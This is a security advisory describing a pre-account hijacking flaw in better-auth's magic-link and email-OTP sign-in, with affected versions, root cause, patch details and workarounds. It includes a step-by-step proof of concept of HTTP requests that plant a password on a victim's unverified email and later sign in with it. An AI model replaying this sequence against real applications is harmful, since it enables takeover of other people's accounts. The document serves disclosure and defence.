better-auth Pre-Account Hijacking via Magic-Link and Email-OTP Sign-In
An attacker who registers with a victim's email address before the victim first signs in can plant a password that keeps working after the victim proves ownership via a magic link or email OTP…

The problem
Any app running better-auth >= 1.1.3 and < 1.6.22 with magic-link or email-OTP enabled alongside open email-and-password registration is affected.
When a user signs in with a magic link or email OTP, both flows looked up any existing account for that address and marked it verified, then issued a session. Neither flow checked whether a password had been planted on the account before the email was ever confirmed.
Neither flow revoked pre-existing sessions. So an attacker who registered first with the victim's email kept valid password access after the victim proved ownership.
Proof of concept
A working proof-of-concept for this issue in better-auth, with the exact payload below.
# Step 1: Attacker registers with victim's email before victim has ever used the app.
# Open registration, no email verification required to create the row.
POST /api/auth/sign-up/email
Content-Type: application/json
{
"email": "victim@example.com",
"password": "Attacker$ecret1",
"name": "Attacker"
}
# -> 200 OK, account created, emailVerified: false
# Attacker cannot sign in yet (unverified), but the credential row exists.
# Step 2: Victim later signs in with a magic link or email OTP (normal user action).
# The flow resolves the existing account, marks emailVerified: true, issues a session.
# On patched versions this step would first call revokeUnprovenAccountAccess().
# On vulnerable versions it does NOT, so the password row survives.
# Step 3: Attacker now signs in with the planted password. Account is verified, login succeeds.
POST /api/auth/sign-in/email
Content-Type: application/json
{
"email": "victim@example.com",
"password": "Attacker$ecret1"
}
# -> 200 OK + valid session for victim's accountThe root cause is that magic-link verification and email-OTP sign-in both adopted a pre-existing account by setting emailVerified: true and issuing a session, without first checking or clearing credentials set before anyone proved control of the mailbox. The planted password row and any existing sessions were left untouched.
The patch (PR #10239, commit c06a56d) introduces a shared helper, revokeUnprovenAccountAccess(), which is now called by both flows when they resolve to an account whose emailVerified flag is still false. The helper calls findAccounts, deleteAccount (removing the credential provider row and its password hash), and deleteUserSessions before the verification is recorded.
It re-reads state first and no-ops if a concurrent flow already verified the account, preventing race conditions.
This is a classic pre-hijacking attack (CWE-287, CWE-345), categorised in academic literature by Sudhodanan and Paverd (USENIX Security 2022). The same pattern was fixed for OAuth flows in GHSA-g38m-r43w-p2q7; this advisory covers the equivalent gap in the passwordless email flows.
The fix
Upgrade to better-auth 1.6.22 (stable) or 1.7.0-beta.10 (pre-release). All earlier 1.7 betas including 1.7.0-beta.9 are vulnerable. If you cannot upgrade immediately, remove unverified accounts quickly and require email verification before accepting password sign-in, but neither workaround fully closes the window.
The real fix is upgrading.
Reported by Vercel Security Team.
Related research
- high · 7.7CVE-2026-53514CVE-2026-53514: better-auth Organization Invitation Takeover via Unverified Email Pre-Registration
- high · 8.3CVE-2026-53516CVE-2026-53516: better-auth OAuth Auto-Link Account Takeover via Unverified Email
- high · 7.7better-auth Stored XSS via javascript: redirect_uri in oidc-provider and mcp Plugins
- highCVE-2026-59208CVE-2026-59208: n8n Cross-Issuer JWT Token Exchange Account Takeover